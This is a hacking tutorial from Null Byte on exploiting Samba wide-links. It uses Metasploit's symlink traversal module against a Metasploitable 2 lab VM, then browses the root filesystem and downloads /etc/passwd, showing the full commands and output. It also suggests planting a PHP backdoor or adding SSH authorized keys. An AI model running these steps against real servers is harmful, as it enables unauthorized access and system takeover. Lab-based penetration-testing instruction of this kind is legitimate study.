How to Get Root Filesystem Access via Samba Symlink Traversal « Null Byte :: WonderHowTo

Samba can be configured to allow any user with write access the ability to create a link to the root filesystem. Once an attacker has this level of access, it's only a matter of time before the system gets owned. Although this configuration isn't that common in the wild, it does happen, and Metasploit has a module to easily exploit this security flaw.Symbolic links, or symlinks, are files that link to other files or directories on a system, and they are an essential part of theLinuxenvironment. Symlinks are often used to connect libraries and redirect certainbinariesto other versions.File share systems, likeSamba, can take advantage of symbolic links, allowing users to easily access linked folders and files. But these links are normally confined to within the share itself, making it impossible to access the underlying filesystem.Don't Miss:Get Root with Metasploit's Local Exploit SuggesterSamba does have an option to use wide links, which are basically symlinks that are allowed to link outside of the sandboxed file share. This is obviously a huge security hole, as any user with write access to a share can create a link to theroot filesystem.For this demonstration, we will be usingKali Linuxto attack aMetasploitable 2virtual machine. If you have a similar pentesting lab you can follow along.Step 1: Create Link with MetasploitThe first thing we need to do after discovering that theSMB serviceis running on the target is to see if we can get access to the shares and, if so, find their names. We can usesmbclientto do so:~# smbclient -L //10.10.0.50/

Enter WORKGROUP\root's password:
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    tmp             Disk      oh noes!
    opt             Disk
    IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
    ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            METASPLOITABLEAbove, we can see that we are able to log in anonymously and list the shares. It looks like there are a couple of default shares, but the one that looks interesting is labeledtmp. It even has a comment that looks suspicious, so we'll use this as our target share.Next, fire upMetasploitby typingmsfconsolein the terminal.~# msfconsole

[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***

         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before

       =[ metasploit v5.0.20-dev                          ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post       ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]

msf5 >Recommended Reading:Metasploit Penetration Testing Cookbook, Third EditionOnce we're in and greeted by the login banner, we can search for a suitable module to use with thesearchcommand:msf5 > search samba symlink

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal
   1   auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow
   2   auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow
   3   auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow
   4   auxiliary/scanner/rsync/modules_list                                  normal     Yes    List Rsync Modules
   5   auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
   6   auxiliary/server/wget_symlink_file_write             2014-10-27       normal     No     GNU Wget FTP Symlink Arbitrary Filesystem Access
   7   exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
   8   exploit/linux/local/abrt_raceabrt_priv_esc           2015-04-14       excellent  Yes    ABRT raceabrt Privilege Escalation
   9   exploit/linux/local/asan_suid_executable_priv_esc    2016-02-17       excellent  Yes    AddressSanitizer (ASan) SUID Executable Privilege Escalation
   10  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   11  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   12  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   13  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   14  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
   15  exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   16  exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   17  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   18  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
   19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   20  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)
   21  exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection
   22  exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution
   23  exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution
   24  exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow
   26  exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow
   27  exploit/windows/local/ms13_097_ie_registry_symlink   2013-12-10       great      No     MS13-097 Registry Symlink IE Sandbox Escape
   28  exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource
   29  post/linux/gather/enum_configs                                        normal     No     Linux Gather ConfigurationsWe received a lot of results from that search term, but the one we want to use is actually the first one. Load the module with theusecommand, followed by the path of the module:msf5 > use auxiliary/admin/smb/samba_symlink_traversalNow that we are loaded into the context of the module, we can use theoptionscommand to see the settings:msf5 auxiliary(admin/smb/samba_symlink_traversal) > options

Module options (auxiliary/admin/smb/samba_symlink_traversal):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      445              yes       The SMB service port (TCP)
   SMBSHARE                    yes       The name of a writeable share on the server
   SMBTARGET  rootfs           yes       The name of the directory that should point to the root filesystemIt looks like it already has port 445 set as the correct port for SMB, as well as the name of the directory that will be created that links to the root filesystem. We need to set theRHOSTSoption as the IP address of the target:msf5 auxiliary(admin/smb/samba_symlink_traversal) > set rhosts 10.10.0.50

rhosts => 10.10.0.50And the name of the share we want to write to, in this case, thetmpshare:msf5 auxiliary(admin/smb/samba_symlink_traversal) > set smbshare tmp

smbshare => tmpNow we should be all set, and all we have to do is typerunat the prompt to launch the module:msf5 auxiliary(admin/smb/samba_symlink_traversal) > run

[*] Running module against 10.10.0.50

[*] 10.10.0.50:445 - Connecting to the server...
[*] 10.10.0.50:445 - Trying to mount writeable share 'tmp'...
[*] 10.10.0.50:445 - Trying to link 'rootfs' to the root filesystem...
[*] 10.10.0.50:445 - Now access the following share to browse the root filesystem:
[*] 10.10.0.50:445 -    \\10.10.0.50\tmp\rootfs\

[*] Auxiliary module execution completedIt spits out what it is doing as it runs — we can see it first connects to the server and mounts the writable share we specified. Then, it creates a link to the root filesystem and tells us where to go to access it. Perfect.Step 2: Access Root FilesystemOnce the module does its thing, we can exit Metasploit with theexitcommand and connect to the target SMB share with smbclient:msf5 > exit
~# smbclient //10.10.0.50/tmp

Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>We can log in anonymously again and use thelscommand to view the contents of the share:smb: \> ls

  .                                   D        0  Wed Aug  8 10:52:28 2018
  ..                                 DR        0  Sun May 20 13:36:12 2012
  4600.jsvc_up                        R        0  Wed Aug  8 08:57:48 2018
  .ICE-unix                          DH        0  Wed Aug  8 08:56:05 2018
  .X11-unix                          DH        0  Wed Aug  8 08:56:51 2018
  .X0-lock                           HR       11  Wed Aug  8 08:56:51 2018
  rootfs                             DR        0  Sun May 20 13:36:12 2012

        7282168 blocks of size 1024. 5430648 blocks availableIt looks like there's a newdirectoryhere, the one that was created with the Metasploit module. This is a link, and we can enter it just like a normal directory. Let's do that and see what's inside:smb: \> cd rootfs\
smb: \rootfs\> ls

  .                                  DR        0  Sun May 20 13:36:12 2012
  ..                                 DR        0  Sun May 20 13:36:12 2012
  initrd                             DR        0  Tue Mar 16 17:57:40 2010
  media                              DR        0  Tue Mar 16 17:55:52 2010
  bin                                DR        0  Sun May 13 22:35:33 2012
  lost+found                         DR        0  Tue Mar 16 17:55:15 2010
  mnt                                DR        0  Wed Apr 28 15:16:56 2010
  sbin                               DR        0  Sun May 13 20:54:53 2012
  initrd.img                          R  7929183  Sun May 13 22:35:56 2012
  home                               DR        0  Fri Apr 16 01:16:02 2010
  lib                                DR        0  Sun May 13 22:35:22 2012
  usr                                DR        0  Tue Apr 27 23:06:37 2010
  proc                               DR        0  Wed Aug  8 08:55:30 2018
  root                               DR        0  Wed Aug  8 08:56:51 2018
  sys                                DR        0  Wed Aug  8 08:55:31 2018
  boot                               DR        0  Sun May 13 22:36:28 2012
  nohup.out                           R    20962  Wed Aug  8 08:56:51 2018
  etc                                DR        0  Wed Aug  8 08:56:23 2018
  dev                                DR        0  Wed Aug  8 08:56:06 2018
  vmlinuz                             R  1987288  Thu Apr 10 11:55:41 2008
  opt                                DR        0  Tue Mar 16 17:57:39 2010
  var                                DR        0  Wed Mar 17 09:08:23 2010
  cdrom                              DR        0  Tue Mar 16 17:55:51 2010
  tmp                                 D        0  Wed Aug  8 10:52:28 2018
  srv                                DR        0  Tue Mar 16 17:57:38 2010

        7282168 blocks of size 1024. 5430648 blocks availableAnd there we have it — root filesystem access. We can now do things like view/etc/passwd, though we can't do that directly. Simply change into the/etc/directory and use thegetcommand to download the file to our machine:smb: \rootfs\> cd etc
smb: \rootfs\etc\> get passwd

getting file \rootfs\etc\passwd of size 1581 as passwd (128.7 KiloBytes/sec) (average 128.7 KiloBytes/sec)Now we can see all the users present on the target, their home directories, and theavailable shells— all useful info forreconnaissance:~# cat passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/falseFurther Attack ScenariosSince we now have access to the root filesystem, there are several different paths an attacker can take. It all depends on the attacker's imagination and the configuration of the target.There is one major caveat here: even though we have root access to the filesystem, we do not haveroot privileges. We only have the permissions associated with the anonymous login to the tmp share (usually normal user privileges). This limits what can be done, but depending on how the server is configured, there are a few things we could try.For instance, since we have write access, we could place aPHP backdoorin the web root directory of Apache, and navigate to it in the browser to trigger a shell to our local machine. Another attack vector, if SSH config file permissions are lax, would be to add ourselves to the authorized keys file, allowing us toSSH into the box.As a hacker, it is essential to be creative, and even in situations where escalating to shell access seems impossible, with enough patience and creativity, it can be done.Wrapping UpToday, we learned about wide links in Samba and how they can be abused to access the root filesystem. After verifying we could access an SMB share, we used a Metasploit module to create a link pointing to the root directory on the server. We could then view the root filesystem and explored a couple of possible attack vectors. The ability to leverage a simple misconfiguration to exploit the system should be the goal of any white-hat hacker.Don't Miss:How to Enumerate SMB with Enum4linux & SmbclientWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPixabay/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:Root Apps Not Working with Magisk? Here's What to DoHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootHow To:Solo over Carlos Santana's "Samba Pa Ti" on ukuleleHow To:Zumba to Bellini's Samba De JaneiroNews:The 5 Best Free File Managers for AndroidHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How to Root Android:Our Always-Updated Rooting Guide for Major Phone ModelsHow To:Enumerate SMB with Enum4linux & SmbclientHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierNews:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesAndroid Basics:What Is Root?How To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Push a samba rhythm by altering the hi-hat patternHow To:Add Your Own Custom Screensaver Images to Your Kindle Lock ScreenHow To:The Reasons Why So Many People Root Their Android Devices (And Why You Should, Too)How To:Use a Misconfigured SUID Bit to Escalate Privileges & Get RootHow To:Use the SysRq Key to Fix Any Linux FreezeHow To:Share files between an Ubuntu machine and Windows PCHow To:Root Your Pixel 3a with MagiskHow To:Trick Apps That Won't Run if Your Phone Is Rooted into Thinking Its Not on the Galaxy Note 3How To:Do the basic samba walk-in stepHow To:1-Click Root Many Android Devices with Kingo Android RootHow To:Root Your LG G3 (Any Carrier Variant)How To:Change System Fonts on Your Samsung Galaxy Note 3 (Root & Non-Root Methods)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+How To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsHow To:Do Samba-style soccer goalkeeping drillsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker Training